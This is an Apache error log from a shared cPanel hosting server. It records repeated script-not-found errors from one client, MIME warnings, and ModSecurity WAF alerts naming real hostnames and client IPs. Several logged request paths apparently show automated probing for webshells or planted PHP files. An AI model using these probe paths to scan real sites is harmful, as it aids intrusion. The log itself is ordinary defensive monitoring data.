[Fri Jul 17 10:13:22.564857 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.564962 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565334 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565394 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565470 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565520 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565563 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565609 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565652 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565766 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565815 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565857 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565900 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.565938 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.566144 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.674624 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.674724 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.674903 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.674924 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.674953 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.674970 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.674987 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675004 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675021 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675070 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675095 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675115 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675131 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675147 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.675253 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:22.682470 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:22.865196 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:23.063182 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:23.217696 2026] [security2:error] [pid 2034024:tid 2034024] [client 85.208.96.207:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python2.7/pty.pyc"] [unique_id "almy64-0g_VSPeIeFN3N1AAAAAs"]
[Fri Jul 17 10:13:23.217740 2026] [security2:error] [pid 2034024:tid 2034024] [client 85.208.96.207:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python2.7/pty.pyc"] [unique_id "almy64-0g_VSPeIeFN3N1AAAAAs"]
[Fri Jul 17 10:13:23.267708 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:23.457564 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:23.622409 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:23.817293 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:23.986010 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:24.178688 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:24.351435 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "v-deploy.com"] [uri "/index.php"] [unique_id "almy6oe39YUk0SgV8AVHygAAABE"]
[Fri Jul 17 10:13:24.376426 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:25.028427 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:25.357427 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:25.526406 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:25.703021 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:25.870444 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:25.999637 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:26.035078 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:26.218716 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:26.221945 2026] [ssl:error] [pid 2064883:tid 2064883] (5)Input/output error: [client 66.85.158.91:40346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:27.017919 2026] [ssl:error] [pid 2070774:tid 2070774] (70014)End of file found: [client 66.85.158.91:40370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:28.267612 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:28.435560 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:28.626169 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:28.792868 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:28.963093 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:29.058486 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:29.091560 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:29.128405 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:29.138589 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:29.240984 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:29.350831 2026] [mime:warn] [pid 2070772:tid 2070772] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:29.413467 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:29.603771 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:30.190367 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:40508] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:30.353795 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:30.524464 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:31.692924 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:31.858746 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:32.057558 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:32.488180 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:32.818700 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:32.982877 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/psychological-social-and-economical-problems-5"] [unique_id "almy9Il9vhFBGA6D8l-HhQAAAAw"]
[Fri Jul 17 10:13:32.983246 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/psychological-social-and-economical-problems-5"] [unique_id "almy9Il9vhFBGA6D8l-HhQAAAAw"]
[Fri Jul 17 10:13:32.983593 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/psychological-social-and-economical-problems-5"] [unique_id "almy9Il9vhFBGA6D8l-HhQAAAAw"]
[Fri Jul 17 10:13:32.997770 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:33.176741 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:34.317613 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:34.485737 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:34.665650 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:34.833836 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:35.000376 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:35.183249 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:35.349737 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:35.521989 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:35.687783 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:35.878516 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:36.048052 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:36.200313 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:36.403247 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:36.579838 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:36.759232 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:37.681250 2026] [security2:error] [pid 2065296:tid 2065296] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/ai-client.php"] [unique_id "almy-aalZQB2GOvLY17d7AAAAAc"], referer: binance.com
[Fri Jul 17 10:13:37.681296 2026] [security2:error] [pid 2065296:tid 2065296] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/ai-client.php"] [unique_id "almy-aalZQB2GOvLY17d7AAAAAc"], referer: binance.com
[Fri Jul 17 10:13:37.818345 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:37.984325 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:38.150167 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:38.325429 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:38.493352 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:38.661553 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:39.184544 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:39.194973 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:39.302069 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:39.342157 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:39.441330 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:39.528910 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:39.543508 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:39.712491 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:39.752337 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:39.880459 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:40.345262 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:40.815644 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:48916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:13:41.132012 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:41.299316 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:41.479296 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:41.643053 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:41.810296 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:42.001524 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:42.181908 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:42.355266 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:42.541927 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:42.733333 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:42.899117 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:43.066308 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:43.236609 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:43.401066 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:43.585594 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:43.750144 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:44.987693 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:45.175276 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:45.519574 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:46.410992 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:46.576723 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:46.666028 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:46.672905 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:46.742437 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:46.909349 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:47.368598 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:47.537259 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:47.703833 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:47.869902 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:48.033813 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:48.200239 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:48.409777 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:48.576999 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:48.741994 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:49.154979 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:51.033621 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:51.200193 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:51.368277 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:51.548367 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:51.712862 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:51.894932 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:52.061973 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:52.062443 2026] [security2:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/elp.php"] [unique_id "almzCA4g1d3E329BkvVPxgAAAAE"]
[Fri Jul 17 10:13:52.062468 2026] [security2:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/elp.php"] [unique_id "almzCA4g1d3E329BkvVPxgAAAAE"]
[Fri Jul 17 10:13:52.228732 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:52.393554 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:52.578898 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:52.754434 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:52.926686 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:53.109397 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:53.306343 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:53.391248 2026] [security2:error] [pid 2068143:tid 2068143] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/block-template.php"] [unique_id "almzCVmuKRtYY-VAGIVXswAAAAk"], referer: binance.com
[Fri Jul 17 10:13:53.391280 2026] [security2:error] [pid 2068143:tid 2068143] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/block-template.php"] [unique_id "almzCVmuKRtYY-VAGIVXswAAAAk"], referer: binance.com
[Fri Jul 17 10:13:53.480479 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:53.647316 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
